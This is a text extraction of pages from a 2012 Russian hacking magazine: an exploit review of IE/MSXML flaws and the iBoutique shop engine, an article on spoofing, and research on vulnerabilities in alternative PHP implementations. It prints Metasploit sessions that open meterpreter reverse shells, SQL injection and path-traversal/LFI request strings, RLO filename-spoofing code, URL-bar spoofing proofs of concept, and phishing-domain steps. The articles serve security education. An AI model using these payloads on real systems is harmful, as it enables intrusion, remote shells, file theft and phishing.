ВЗЛОМ / ОБЗОР ЭКСПЛОЙТОВдокумент в Microsoft Office. Ссылки на зараженные страницы могутраспространяться в IM, по почте, в социальных сетях и твиттере.Уязвимость проявляется при попытке MSXML получить доступ кнеинициализированному объекту в памяти, которая может привестик повреждению памяти и исполнению произвольного кода с привилегиямитекущего пользователя.EXPLOITУязвимость проявляется в методе get_definition() при обращении к несуществующемуXML Node. Код, приводящий к аварийному завершениюInternet Explorer, выглядит следующим образом:document.getElementById("xx").object.definition(0);Этот код обращается к неинициализированному объекту в памяти, носсылка на этот регион памяти все же создается, что и приводит к потенциальнойвозможности выполнения произвольного кода в функции_dispatchImpl :: InvokeHelper().Модуль для эксплуатации данной уязвимости весьма быстро сталдоступен в составе Metasploit, пример его использования:msf > use exploit/windows/browser/msxml_get_definition_code_execmsf exploit(msxml_get_definition_code_exec) > set payloadwindows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(msxml_get_definition_code_exec) > set lhost10.0.1.3lhost => 10.0.1.3msf exploit(msxml_get_definition_code_exec) > exploit[*] Exploit running as background job.[*] Started reverse handler on 10.0.1.3:4444[*] Using URL: http://0.0.0.0:8080/xtQdbEC7QDIbmsf exploit(msxml_get_definition_code_exec) >[*] Local IP: http://10.0.1.3:8080/xtQdbEC7QDIb[*] Server started.[*] 10.0.1.79 msxml_get_definition_code_exec - Usingmsvcrt ROP[*] 10.0.1.79 msxml_get_definition_code_exec -10.0.1.79:1564 - Sending html[*] Sending stage (752128 bytes) to 10.0.1.79[*] Meterpreter session 2 opened (10.0.1.3:4444 ->10.0.1.79:1565) at 2012-06-18 14:07:38 -0500[*] Session ID 2 (10.0.1.3:4444 -> 10.0.1.79:1565)processing InitialAutoRunScript 'migrate -f'Полный трейс всех стековых фреймов в упавшем IEКод утилиты, проверяющей поведение функции memcmp()[*] Current server process: iexplore.exe (2856)[*] Spawning notepad.exe process to migrate to[+] Migrating to 2356[+] Successfully migrated to processTARGETSМодуль для Metasploit работает в IE6/7/8/9, Windows XP, Vista и вплоть доWindows 7 SP1.SOLUTIONНа момент написания обзора официального патча доступно не было.В качестве временного решения можно порекомендовать отключитькомпонент ActiveX MSXML или вовсе воздержаться от использованияInternet Explorer и Microsoft Office.Кроме того, Microsoft подготовила воркэраунд в виде пакета MicrosoftFix it 50897.4Выполнение произвольного кода в InternetExplorerCVSSV2 10.0(AV:N/AC:L/Au:N/C:С/I:С/A:С)BRIEFMicrosoft Internet Explorer неправильно обрабатывает некоторыеобъекты в памяти, что дает возможность атакующему выполнить произвольныйкод в системе при попытке доступа к несуществующемуобъекту. Полное название уязвимости в англоязычных источниках —«Same ID Property Remote Code Execution Vulnerability». Уязвимостьобнаружили адепт под ником Dark Son и исследователь Yichong Lin.Модуль к Metasploit реализовал Juan Vazquez. Уязвимости присвоенидентификатор CVE-2012-1875.EXPLOITЭксплойт использует технику возвратно-ориентированного программирования(ROP) для обхода защит DEP и ASLR. Для правильнойработы эксплойта необходимо наличие старой виртуальной машины052ХАКЕР 08 /163/ 2012


Обзор эксплойтовJava, которая использует библиотеку msvcr71.dll без поддержкиASLR, иначе эксплойт не будет работать, а Internet Explorer продемонстрируетобычное аварийное завершение.И снова пример действующего эксплойта можно отыскать в составевсеми любимого проекта Metasploit. Привожу пример его использования(исключительно в целях ознакомления):msf > use exploit/windows/browser/ms12_037_same_idmsf exploit(ms12_037_same_id) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(ms12_037_same_id) > set lhost 10.0.1.3lhost => 10.0.1.3msf exploit(ms12_037_same_id) > exploit[*] Exploit running as background job.[*] Started reverse handler on 10.0.1.3:4444[*] Using URL: http://0.0.0.0:8080/gTHJEKBboMi[*] Local IP: http://10.0.1.3:8080/gTHJEKBboMi[*] Server started.msf exploit(ms12_037_same_id) >[*] 10.0.1.79 ms12_037_same_id - Clientrequesting: /gTHJEKBboMi[*] 10.0.1.79 ms12_037_same_id - Using msvcrt ROP[*] 10.0.1.79 ms12_037_same_id - Sending html[*] Sending stage (752128 bytes) to 10.0.1.79[*] Meterpreter session 1 opened (10.0.1.3:4444 ->10.0.1.79:1685) at 2012-06-18 13:42:49 -0500[*] Session ID 1 (10.0.1.3:4444 -> 10.0.1.79:1685)processing InitialAutoRunScript 'migrate -f'[*] Current server process: iexplore.exe (3916)[*] Spawning notepad.exe process to migrate to[+] Migrating to 1680[+] Successfully migrated to processTARGETSМодуль в Metasploit работает в Internet Explorer 8 под Windows XPSP3 и 7 SP1, тогда как эксплойты, найденные «in the wild», пробиваютбольшинство современных платформ Windows, включая Windows Vistaи Windows 7.Ошибка, возникающая в процессе взаимодействия с RTMP-серверомSOLUTIONУстановить последние обновления Microsoft.5Множественные уязвимости в iBoutiqueeCommerce v4.0CVSSV2 7.5(AV:N/AC:L/Au:N/C:P/I:P/A:P)BRIEFДевятого июня команда Vulnerability Laboratory Research опубликоваладетали уязвимостей, найденных в движке для интернет-магазиновiBoutique CMS v4.0.EXPLOIT1. В движке iBoutique v4.0 была обнаружена SQL-инъекция, позволяющаяатакующему выполнять произвольные SQL-запросы кбазе данных. Успешная эксплуатация уязвимости влечет за собойкомпрометацию данных приложения и базы данных. Уязвимостьпроявляется при обработке параметра OrderNumber скрипта index.php, при этом нам даже покажут сообщение об ошибке:SQL_ERRORselect * from websiteadmin_orders WHERE OrderNumber=254' AND UserName='hack'You have an error in your SQL syntax;check the manual that corresponds to your MySQLserver version for the right syntax to use near 'ANDUserName='hack' at line 1Details for order #254'Пример эксплуатации уязвимости приведен ниже:http://127.0.0.1:1338/iboutique/index.php?page=en_Orders&OrderNumber=258'+/*!Union*/+/*!SelEct*/+1,2,3,4,version(),6,7,8,9,10--%20-2. Также была обнаружена недостаточная фильтрация данных пользователя,позволяющая атакующему внедрить на страницу своегопрофиля произвольный код. Для этого нужно зарегистрироватьсяна сайте, а затем пройти my area my profile edit profile и изменитьзначение одного из полей (first name, last name, email, state,address и так далее) на произвольный HTML-код, например . Когда админ будетпросматривать страницу с пользователями или платежами в административнойпанели, то внедренный код исполнится в контекстеадминистратора.TARGETSiBoutique eCommerce v4.0 и, возможно, более ранние.Техника ROP, использующаяся в эксплойте для уязвимости CVE-2012-1875SOLUTIONОбновить движок до последней актуальной версии. zХАКЕР 08 /163/ 2012053


ВЗЛОМSanjar Satsura (satsura@r00tw0rm.com, twitter.com/sanjar_satsura)НЕ ВЕРЬсвоим глазамINTROЗачастую от коллег по цеху мне приходится слышать, что спуфингкак вектор атаки не стоит даже и рассматривать. Однако смеютебя заверить: если методы спуфинга тщательно продуманы,то использовать их можно для очень и очень многого. Причеммасштабы и результаты таких атак порой бывают катастрофическими.Ведь, обманув твои глаза один раз, я буду обманывать тебяи дальше. Самый главный аргумент в пользу того, что spoof-атакипредставляют реальную опасность, — от них не застрахован ниодин человек, включая и профессионалов. Здесь нужно заметить,что сам по себе спуфинг ничего не дает: для проведениядействительно хакерской атаки необходимо использоватьпостэксплуатацию (post-exploitation). В большинстве случаевцели постэксплуатации заключаются в стандартном захватеуправления, повышении привилегий, массовом распространениивредоносных программ и, как следствие, краже персональныхданных и электронно-цифровых ключей банковских системс дальнейшим отмыванием денег. В этой статье я, во-первых,хочу рассказать о том, какие вообще бывают методы спуфинга, и,во-вторых, подробно рассказать тебе о некоторых современныхподходах. Естественно, вся информация предоставляется тебелишь с целью помощи в защите от такого рода атак.ПРОШЛОЕ И НАСТОЯЩЕЕ СПУФИНГАИзначально термин «spoofing» использовался как термин сетевойбезопасности, подразумевающий под собой успешную фальсификациюопределенных данных с целью получения несанкционированногодоступа к тому или иному ресурсу сети. Со временем этоттермин начал употребляться и в других сферах инфобезопасности,хотя большинство так называемых old school специалистов и сегодняпродолжают использовать слово «spoofing» только лишь дляуточнения типа сетевых атак.Итак, когда Сеть только зарождалась, большинство усилий программистови разработчиков были направлены в основном на оптимизациюалгоритмов работы сетевых протоколов. Безопасность небыла настолько критичной задачей, как сегодня, и ей, как часто этобывает, уделяли очень мало внимания. Как результат, получаем банальныеи фундаментальные ошибки в сетевых протоколах, которыепродолжают существовать и сегодня, несмотря на различного родазаплатки (ибо никакой заплатой не залатать логическую ошибкупротокола). Здесь необходимы тотальные изменения, которые Сетьв существующем представлении просто не переживет. Например,в статье «Атаки на DNS: вчера, сегодня, завтра» (][_#5_2012)я рассказывал о приводящих к катастрофическим последствиямфундаментальных уязвимостях в DNS-системах — использовании054ХАКЕР 08 /163/ 2012


Не верь своим глазампротокола UDP (который, в отличие от TCP/IP, является небезопасным,так как в нем отсутствует встроенный механизм для предотвращенияспуфинга) и локального кеша.ВЕКТОРЫВ зависимости от целей и задач векторы спуфинга можно разделитьпо направлениям на локальные (local) и сетевые (net). Именно их мыи рассмотрим в этой статье. В качестве объекта атак при локальномвекторе чаще всего рассматривается непосредственно сама ОС,установленная на компьютере жертвы, а также определенного родаприложения, которые зачастую требуют дополнительного анализав зависимости от ситуации. Объекты атак при сетевом векторе, напротив,более абстрагированны. Основными из них являются компонентыинформационных систем, представленных как локальными,так и глобальными сетями. Рассмотрим основные виды спуфинга.1. Spoofing TCP/IP & UDP — атаки на уровне транспорта. Из-за фундаментальныхошибок реализации транспорта протоколов TCPи UDP возможны следующие типы атак:• IP spoofing — идея состоит в подмене IP-адреса через изменениезначения поля source в теле IP-пакета. Применяетсяс целью подмены адреса атакующего, к примеру, для того,чтобы вызвать ответный пакет на нужный адрес;• ARP spoofing — техника атаки в Ethernet-сетях, позволяющаяперехватывать трафик между хостами. Основана на использованиипротокола ARP;• DNS Cache Poisoning — отравление DNS-кеша сервера;• NetBIOS/NBNS spoofing — основана на особенностях резолваимен локальных машин внутри сетей Microsoft.2. Referrer spoofing — подмена реферера.3. Poisoning of file-sharing networks — фишинг в файлообменныхсетях.4. Caller ID spoofing — подмена номера звонящего телефона в VoIPсетях5. E-mail address spoofing — подмена адреса e-mail отправителя.6. GPS Spoofing — подмена пакетов со спутника с целью сбить с толкуGPS-устройство.7. Voice Mail spoofing — подмена номеров голосовой почты с цельюфишинга паролей жертвы.8. SMS spoofing — метод спуфинга, основанный на подмене номеровотправителя SMS-сообщения.НОВЕЙШИЕ НАРАБОТКИ В ОБЛАСТИ СПУФИНГАНаиболее распространенные техники уже довольно стары и избиты.Глобальная сеть буквально кишит информацией о возможных вариацияхих эксплуатации и защиты от них. Сегодня мы рассмотримнесколько новейших методов спуфинга, применение которых тольконабирает обороты, начиная с локальных векторов и заканчиваясетевыми. Итак, все по порядку.Спуфинг в ОСEXTENSION SPOOFING — СПУФИНГ РАСШИРЕНИЯ ФАЙЛА1 Техника, увидевшая свет благодаря наработкам китайскогоисследователя в области информационной безопасности ZhitaoZhou. Суть данной техники заключается в использовании управляющегосимвола 0x202E (RLO) в имени файла, что позволяет изменитьпорядок символов при отображении названия файла в проводникеWindows (explorer.exe). Приведу пример использования этой простойтехники:Super music uploaded by 3pm.SCRФайл 3pm.SCR представляет собой не что иное, как исполняемыйфайл, реализующий определенные функции (троянскаяпрограмма. — Прим. редактора). Если в начале имени файла «3pm.SRC» вставить управляющий символ 0x202E (см. рис. 1), то порядоксимволов меняется на обратный и имя файла отображается в проводникеWindows уже иначе:Super music uploaded by RCS.mp3Для изменения иконки файла следует использовать любойредактор ресурсов (Restorator, Resource Hacker). Данная техникарассчитана на неосторожного пользователя, который может принятьэтот файл за песню и открыть двойным щелчком, тем самым запустивзловредную программу. К сожалению, данная техника не будетработать в программах — аналогах проводника, поддерживающихЮникод. Ниже приведен код на C#, который выполняет изменениеимени файла, добавляя в начало управляющий символ 0x202E:Public Sub U_202E(file As String, extension As String)Dim d As Integer = file.Length - 4Dim u As Char = ChrW(823)Dim t As Char() = extension.ToCharArray()Array.Reverse(t)Dim dest As String = file.Substring(0, d) & u &New String(t) & file.Substring(d)System.IO.File.Move(file, dest)End SubFILE NAME SPOOFING — КЛОНИРОВАНИЕ ИМЕНИ ФАЙЛА2 Данная техника была представлена японским исследователемYosuke Hasegawa на конференции Security-Momiji. Онаоснована на использовании символов нулевой длины (ZERO WIDTHCharacters), которые никак не влияют на отображение названияфайла (см. рис. 2). Ниже приведены все символы из этой категории:• U+200B (ZERO WIDTH SPACE)ПЕРВЫЕ IDN-КЛОНЫБлагодаря UTF имеем много «одинаковых» файлов в одной директорииАтаку с использованием IDN-омографов впервые описали в 2001 годуЕвгений Габрилович и Алекс Гонтмахер из израильского технологическогоинститута Технион. Первый известный случай успешной атаки, использующийданный метод, был предан огласке в 2005 году на хакерскойконференции ShmooCon. Хакерам удалось зарегистрировать подставнойдомен pаypal.com (xn--pypal-4ve.com в Punycode), где первая буква а —кириллическая. Благодаря публикации на Slashdot.org к проблеме былопривлечено внимание общественности, после чего как браузеры, так и администраторымногих доменов верхнего уровня выработали и реализоваликонтрмеры.ХАКЕР 08 /163/ 2012 055


ВЗЛОМ• U+200C (ZERO WIDTH NON-JOINER)• U+200D (ZERO WIDTH JOINER)• U+FEFF (ZERO WIDTH NO-BREAK SPACE)• U+202A (LEFT-TO-RIGHT EMBEDDING)Помимо этого возможно использовать кодировку UTF дляфальсификации имен существующих файлов. Данную технику частоприменяет современная малварь. В поле моего зрения попадалисьобразцы вредоносов, которые проводили такого рода атаки. К примеру,зловред TrojanDropper:Win32/Vundo.L (использовался дляфишинга сайтов vk.com, vkontakte.ru, *odnoklassniki.ru) задействуетименно эту технику.Файл %SystemRoot%\system32\drivers\etc\hosts копировалсяв файл-«клон» hosts с UTF-символом «о» (0х043E), после чего оригинальномуфайлу hosts придавался атрибут скрытого файла и егосодержимое перезаписывалось с добавлением следующих записей:92.38.66.111 odnoklassniki.ru92.38.66.111 vk.com92.38.66.111 vkontakte.ruДо сих пор веришь своим глазам? Поехали дальше!Спуфинг веб-браузеровSTATUS BAR / LINK SPOOF1Принцип данной атаки заключается в динамической подменеадреса гипертекстовой ссылки (). К примеру, жертва наводиткурсор мыши на ссылку, после чего в статусбаре браузераотображается адрес, по которому ведет данная ссылка. После кликана ссылку хитрый JavaScript-код подменяет в динамике адрес перехода.Мой знакомый исследователь, известный под ником iamjuza,занимался изучением и разработкой PoC для эксплуатации даннойтехники на практике, но его разработки не были универсальныи действовали только на конкретных браузерах. Проведя аналогичноеисследование, я получил более удачные результаты, сумевдобиться универсальности эксплуатации этой техники спуфера длявсех браузерных движков. Proof-of-Concept опубликован на ресурсе1337day.com. Техническая реализация выглядит следующим образом:• Метод this.href=": Click me!• Метод location.reload='': Click me!• Метод location.replace(''): Click me!• Метод location.assign(''): Click me!• Метод window.location.assign(''): Click me!• Метод window.location.replace(''): Click me!• Метод window.location.href='': Click me!Приведенный HTML-код производит динамическую подменууказанного адреса (www.google.com) на адрес сайта ][ (www.xakep.ru) посредством различного рода методов, основанных наJavaScript-событии onclick=''.URL BAR SPOOFING — ПОДМЕНА ССЫЛКИ В АДРЕСНОЙ2 СТРОКЕ БРАУЗЕРАНа первый взгляд это кажется невозможным, но поверь мне — этовсего лишь задача для развития смекалки. Рассмотрим уязвимостьCVE-2011-1452, которая спуфит адресную строку в непобедимомGoogle Chrome до версии 11.0.696.57:Click Mevar a=null;function spoof() {a = window.open('./spoofing.php')FLAMER И СКАНДАЛЬНЫЙ СПУФИНГ СЕРТИФИКАТОВ MICROSOFTMicrosoft Security Advisory (2718704) — Unauthorized DigitalCertificates Could Allow Spoofing. Довольно интересная вещьбыла найдена в экземплярах нашумевшего шпионского ботаFlamer: по результатам реверс-инжиниринга компонентовэтого зловреда был обнаружен участок кода, отвечающийза проведение спуфинг-атак типа фишинг. Имитируяпредоставление оригинальных сертификатов крупныхкомпаний, бот проводил MITM-атаку, целью которой былперехват персональных данных пользователей корпоративнойсети с последующей отправкой на сервер разработчиков.Этот спуфинг-инцидент получил Security Advisory #2718704с рангом опасности High.WARNINGВся информацияпредоставленаисключительнов ознакомительныхцелях.Ни редакция,ни автор не несутответственностиза любой возможныйвред, причиненныйматериалами даннойстатьи.056ХАКЕР 08 /163/ 2012


Не верь своим глазамПодставной клон hostsОтспуфенный калькуляторwindow.setTimeout("a.history.back()", 4500);window.setTimeout("a.location.href='./spoofing.php'", 5000);}При клике по ссылке «Click Me» активируется функция spoof(),в которой производятся следующие действия:• открывается новое окно (spoofing.php) с присваиванием к переменной«a»;• по истечении 4500 микросекунд (4,5 секунды) (функция window.setTimeout) производится возврат по истории переходов назад,за что отвечает функция a.history.back(), присвоенной переменной«а»;• через 5000 микросекунд переменной «а» выставляется новыйlocation к spoofing.php, находящейся в той же директории.Таким образом происходит перезапись адресной строки на новыйURL в контексте первой страницы «родителя».Следующая уязвимость CVE-2010-4045 (Opera


ВЗЛОМcontent="text/html; charset=ISO-8859-1">Proof of Concept - OPERA High Location Bar SpoofingПри нажатии на кнопку, которая представлена картинкой(), автоматически перезагружается страница (location.reload()),при этом есть возможность перезаписать адресную строку в контекстетекущей вкладки.И напоследок в этой категории мы рассмотрим лакомый кусочек— 0-day для Safari iOS 5.1:Some payment/bank website included here.start pocclick the button to run the poc.Demodocument.getElementById('one').onclick = function(){myWindow=window.open('http://www.apple.com','eintitel','width=200,height=100,location=yes');myWindow.document.write("This is fishing page.");myWindow.focus();return false;}После нажатия кнопки «Demo» одновременно переменнойи объекту myWindow присваивается значение функции, котораяоткрывает сайт apple.com с размерами 200100, что соответствуетобласти расширения браузера Safari для мобильных устройств. ДалееmyWindow внедряет дополнительный HTML (JavaScript/VB/etc)код при помощи функции document.write(). Заключающим этапомявляется наведение фокуса браузера Safari на объект myWindow.Ничего сложного в спуфинге адреса в адресной строке браузеранет, единственное — нужно правильно применять смекалку там, гдеэто требуется ;-).3SOURCE CODE SPOOFING — ПОДМЕНА СОДЕРЖИМОГОСТРАНИЦЫ И ИСХОДНОГО КОДАЭксплуатация реализуется благодаря уже известному нам управляющемуUTF-8 символу 0x202E (RLO). Метод был обнаружен студентомVirginia Tech Джоном Курлаком (John Kurlak). Для демонстрациитехники он использовал функцию JavaScript History.replaceState(),которая позволяет в динамике изменить адрес страницы в адреснойстроке. Proof-of-Concept (source.html):Sourcehistory.replaceState(null, null,'source.html' + String.fromCharCode(8237));Can you view my source from Chrome?Содержимое файла source.html[%20%2E]You can, but not that easily...Суть данного метода заключается в подмене содержимого исходногокода страницы при помощи трюка с управляющим символомRLO в конце файла (см. рис. 4). При попытке просмотреть исходныйкод страницы source.html мы получаем содержимое второго файлаsource.html%20%2E. Довольно интересный и экзотический методспуфинга, с весьма странным профитом, как тебе может показатьсяна первый взгляд. Что самое интересное — данный сценарий позволяет«спрятать» исходный код страницы, маскируя его не тольков контексте адреса, но и в контексте имени хоста.IDN CLONES — ТЕХНИКА, ОСНОВАННАЯ НА ВНЕШНЕМ4СХОДСТВЕ ОТОБРАЖЕНИЯ ДОМЕННЫХ ИМЕННичего инновационного здесь нет, техника практиковаласьс самого зарождения системы DNS, но именно использование IDN(Internationalized Domain Names — интернационализованные доменныеимена) позволило реализовать создание почти неотличимых«клонов» доменных имен. Техническая реализация фишинг-атакивыглядит следующим образом:1. Регистрируется доменное имя, максимально сходное по написаниюс атакуемым доменом. Обычно используется сходство буквс цифрами в некоторых шрифтах (буква l и цифра 1, буква O и цифра0), сходство сочетаний букв (rn и m, cl и d).2. Создается фейк сайта-оригинала, который помещается на созданный«клон».3. Распространяются ссылки на фишинговый домен (спам почты,спам в соцсетях, через популярные сервисы типа Twitter, использованиеiframe’ов, дорвеев).4. Получается профит :).Основное отличие данной атаки, основанной на сходстве доменныхимен, по сравнению с другими видами фишинга с использованиемподставных веб-страниц — для нее не требуется вмешательствов работу сетевых протоколов: с технической точки зрения подставнойдомен является легитимным.Методы защиты от IDN-атак начали внедряться с середины 2005года, когда регистраторами доменных имен были приняты соглашения,ограничивающие возможность регистрации любого IDNдомена.Так, международный домен .org ограничивает количестворазрешенных символов тем или иным подмножеством расширеннойлатиницы. Но благодаря некоторым недобросовестным регистраторами смекалке даже сегодня есть все возможности для регистрациифишингового домена.Наиболее радикальным вариантом защиты против омографическойугрозы был бы полный отказ от декодирования IDN приотображении. И тогда подставное имя всегда начиналось бы с «xn»и заканчивалось нечитаемой последовательностью символов, чторезко отличало бы его от оригинала. К сожалению, этот вариантсводит на нет практически все преимущества IDN.Основная защита от IDN-спуфинга на стороне клиента — этостатусбар браузера. При наведении курсора на ссылку в статусбареотображается punycode-эквивалент IDN-домена, что сразу наводит намысль о возможном фишинге. Но и это не является панацеей, проспуфитьможно все, если применить смекалку ;-). Смотри мой универсальныйэксплойт для всех браузерных движков (src/exploits/link_spoof.py).ЗАКЛЮЧЕНИЕСпуфинг был и будет востребован всегда, ибо он является основойи гарантией для проведения успешных атак во многих направлениях.Надеюсь, что ты сделал правильные выводы. Будь внимателен напросторах Сети.Ты до сих пор веришь своим глазам? Тогда мы идем к тебе :). z058ХАКЕР 08 /163/ 2012


ВЗЛОМСергей Щербель, Positive Technologies (sscherbel@ptsecurity.ru)Не всеPHPодинаковополезныУЯЗВИМОСТИАЛЬТЕРНАТИВНЫХРЕАЛИЗАЦИЙ PHPВ стремлении увеличить производительностьPHP-приложений разработчики нередкоприбегают к использованию альтернативныхреализаций интерпретатора. За счет хитрыхоптимизаций такие решения действительнопозволяют увеличить производительностьв разы, но при этом таят в себедополнительные опасности.В ЧЕМ СМЫСЛ?Существует сразу несколько сторонних реализаций PHP. Все онисоздавались с целью повышения производительности, а такжерасширения возможностей языка. При использовании стороннихреализаций PHP скорость работы приложений в среднем возрастаетдо пяти раз — показатель, несомненно, высокий. Достигаетсяэто благодаря использованию кросскомпиляции. В общем видепроцесс компиляции осуществляется в два шага:1. PHP-сценарий транслируется в промежуточный код (как правило,это C-код);2. C-код компилируется в машинный.Наиболее популярными и распространенными среди альтернативныхреализаций PHP являются Roadsend PHP, Phalanger,Quercus on Resin, а также HipHop for PHP. Сначала я кратко расскажуо каждой из них, а потом приступим к самому интересному —проверим их на предмет безопасности.АЛЬТЕРНАТИВНЫЕРЕАЛИЗАЦИИ PHPRoadsend PHPРеализация Roadsend PHP состоит, по сути, из двух компонентов— компилятора и интегрированного веб-сервера, называемогоMicroServer. Компиляция осуществляется с промежуточным транслированиемPHP-кода в код на языке С. Встроенный веб-серверпозволяет запускать полученные в результате компиляции приложениябез использования каких-либо дополнений и ухищрений.В случае если необходимо использовать привычный веб-сервервроде Apache, lighttpd, nginx, то скомпилированное приложениепридется связывать с веб-сервером посредством интерфейса CGIили FastCGI.ХАКЕР 08 /163/ 2012 059


ВЗЛОМРис.1. Контент файла /etc/passwdРис.2. Пример 500 ошибки в QuercusPhalangerPhalanger представляет больший интерес для многих разработчиков,так как помимо лучшей, по сравнению с оригинальнымPHP, производительностью, предоставляет и дополнительныевозможности. Он позволяет обращаться PHP-приложениямпочти ко всем .NET-конструкциям, благодаря чему можносоздавать более гибкие веб-приложения, синтаксис которых неограничивается одним PHP. Phalanger работает с веб-серверомIIS, и процесс их интеграции не сложнее, чем в случае с оригинальнымPHP.Quercus on ResinЕще один пример стыка технологий — веб-сервер Resin.В первых версиях Resin представлял собой веб-сервер и серверприложений для Java, но затем появилась реализация PHP,называемая Quercus. Resin имеет две ветки — Professionalи Open Source. В версии Professional PHP-код компилируетсяв байт-код Java, в то время как в Open Source версии PHP-кодинтерпретируется.HipHop for PHPПоследняя из рассмотренных реализаций — HipHop, разработчикомкоторой является компания Facebook. HipHop транслируетPHP-сценарии в промежуточный код на C++, а затем, используякомпилятор g++, создает исполняемый файл. Следует отметить,что размер даже примитивного приложения, скомпилированногопри помощи HipHop, достигает около 30 мегабайт. Но приэтом приложение уже включает в себя веб-сервер: достаточнопри запуске указать соответствующий ключ и порт, по которомуприложение должно быть доступно. Помимо этого, как и в случаес Roadsend PHP, полученные приложения могут связыватьсяс веб-серверами с помощью интерфейсов CGI или FastCGI. Компиляциязанимает длительное время, и если в приложение постоянновносятся изменения, то процесс обновления может статьсерьезной головной болью. Однако есть и сильная сторона — исключаютсянекоторые категории уязвимостей:1. Подключение произвольных файлов (Local File Inclusion) —подключать можно только те файлы, которые присутствовалина момент компиляции;2. Загрузка произвольных файлов — загруженные файлы исполнятьсяне будут, так как исполняемыми они не являются,а интерпретатор здесь не используется.ПОДХОД К ИССЛЕДОВАНИЮИтак, перед нами стоит задача выявить проблемы безопасностисразу нескольких новых языков, синтаксис которых совпадаетс PHP. Будет ли совпадать результат, особенности и поведение?А главное — насколько безопасно использование стороннихреализаций?Сразу же возникает вопрос, как сравнить и на что нужносмотреть. Резонно выделить категории, по которым можно будетпроверить каждую из реализаций:• уязвимости окружения — почти все реализации содержатсобственные веб-серверы и прочее окружение, являющеесянеотъемлемой частью веб-приложения;• механизмы обработки параметров, тут следует вспомнить атакиHTTP Parameter Pollution и HTTP Parameter Contamination,а также уделить внимание глобализации и типизации переменных;• уязвимости стыка технологий — новые возможности могут повлечьза собой и новые уязвимости;• уязвимости, которые встречались в очень старых версиях оригинальногоPHP.УЯЗВИМОСТИ ОКРУЖЕНИЯЗдесь отличился Roadsend PHP, а точнее, входящий в него вебсерверMicroServer. Выяснилось, что он уязвим к очень простомуварианту уязвимости Path Traversal. Пример эксплуатации приведенв листинге.Эксплуатация Path Traversal в Roadsend PHPhttp://host/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswdКак видно из запроса, тут все просто — используются переходык родительскому каталогу, а к символу слеша при этом применяетсяURL-кодирование. В результате можно получить контент любогофайла (см. рис. 1). Но в данном случае можно эксплуатировать проще— указывая абсолютный путь до файла:Эксплуатация Path Traversalhttp://host//etc/passwdПроект Roadsend PHP с недавнего времени не поддерживается,хотя ресурсы, использующие его, еще остались. Владельцам этихресурсов следует подобрать другое решение.ОБРАБОТКА ПАРАМЕТРОВКак известно, различные платформы и приложения по-разному обрабатываютзаведомо некорректные символы и конструкции: в каких-ПЕРЕД НАМИ СТОИТ ЗАДАЧАВЫЯВИТЬ ПРОБЛЕМЫБЕЗОПАСНОСТИ СРАЗУНЕСКОЛЬКИХ НОВЫХ ЯЗЫКОВ060ХАКЕР 08 /163/ 2012


Не все PHP одинаково полезныРис.5. Межсайтовое выполнение сценариевРис.4. Перезапись $_SERVER["DOCUMENT_ROOT"]то случаях такие символы заменяются, а в каких-то случаях такаязамена не осуществляется. На этом и основана атака HTTP ParameterContamination. Обычно она используется с целью обхода различныхфильтраций, а также для формирования специфических векторовclient-side атак. В табл. 1 приведены расхождения в обработке некорректныхсимволов для различных реализаций PHP — за эталонпринят обычный LAMP. Как видно, результат отличается от оригинальногоPHP. Причем расхождения получились почти идентичнымидля Phalanger и Quercus. И помимо возможности создавать переменные,именем которых является пустая строка, в обоих случаях можнодобиться вывода ошибки 500 (см. забавный fingerprint на рис. 2).Возможность создавать переменные, содержащие в именисимвол пробела и тем более null-byte, скажется в некорректнойработе приложения при циклических обходах массивов (см. листинг),когда используется не только значение переменной,но и ее имя.Циклический обход массива, уязвимость Local File Inclusionforeach($_GET["language"]as $langDir => $langFile){include($langDir."/".$langFile.".php");}В приведенном коде имя переменной передается в конструкцию,подключающую сценарии. Используя null-byte в имени переменной,можно отбросить часть строки и таким образом подключитьпроизвольный файл.Подключение файла /etc/passwdhttp://host/index.php?language["/etc/passwd%00"]=1ГЛОБАЛИЗАЦИЯ И ПЕРЕЗАПИСЬ ПЕРЕМЕННЫХВозможность задавать значения переменных напрямую — брешьв безопасности веб-приложений. В оригинальном PHP за подобноеповедение отвечает опция register_globals, причем начинаяс версии 5.4.0 она удалена. Логично предположить, что в стороннихреализациях PHP не все так гладко, как хотелось бы. В Quercusопция register_globals отсутствует (сами разработчики называютее «черной дырой в безопасности»), однако при передаче параметровметодом POST происходит их глобализация, а при заявленномотсутствии опции этого быть не должно. Но это не главная проблема— гораздо опаснее то, что параметры, переданные методомPOST, могут перезаписывать элементы массива _SERVER. На рис. 3приведен пример перезаписи значения элемента _SERVER["REMOTE_ADDR"], что, по сути, приводит к подмене значения клиентскогоIP-адреса.Наиболее опасный вектор атаки — подмена значения элемента$_SERVER["DOCUMENT_ROOT"], содержащего абсолютный путь до вебкаталога,и развитие атаки Local File Inclusion (см. рис. 4). Следуетотметить, что даже безопасный для оригинального PHP код (см.листинг) становится уязвимым, если существует возможностьперезаписи переменных.Использование $_SERVER["DOCUMENT_ROOT"] в кодеОписание уязвимости приведено в advisory: bit.ly/MFeJYu.Исправление уязвимости ожидается в новых версиях. Интересното, что перезаписать элементы массива _SESSION не получится:попытка перезаписи заканчивается сообщением об ошибке. ОноЗапросLAMPIIS 7.5 +Phalanger 3.0Array([] =>)Array([[]] =>)HipHopQuercus onResin )Array([0] =>)test.php?=Array()Array()test.php?[]=Array()Array()test.php?a[][=Array([a] => Array([0] =>))Error 500Array([a] => Array([0] =>))Error 500Рис.3. Перезапись элемента массива _SERVERТаблица 1. Различия в обработке некорректных символовХАКЕР 08 /163/ 2012 061


ВЗЛОМи 0 является истиной, что также не типично для оригинальногоPHP. Это может привести к обходу различных проверок, напримерв механизмах аутентификации или авторизации.УЯЗВИМОСТИ СТЫКА ТЕХНОЛОГИЙКак известно, в PHP существует возможность устанавливать различныеограничения безопасности. Например, можно использоватьопцию disable_functions, запрещающую вызывать указанныефункции (как правило, это функции, выполняющие shell-команды),или опцию open_basedir, ограничивающую доступ к файловойсистеме. Но обычно возможность использования сторонних конструкцийне учитывается.Использование опции disable_functions для запретавыполнения shell-командdisable_functions: system, exec, shell_exec, passthru,popen, proc_open, pcntl_execРис.6 Null-byte в имени загружаемого файлаи к лучшему, так как иначе любой механизм авторизации, использующиймассив _SESSION, становился бы уязвимым.ТИПИЗАЦИЯ ПЕРЕМЕННЫХВ PHP существует так называемое гибкое сравнение, позволяющеесравнивать переменные различного типа (при тождественномсравнении переменных различного типа его результат всегдабудет false). 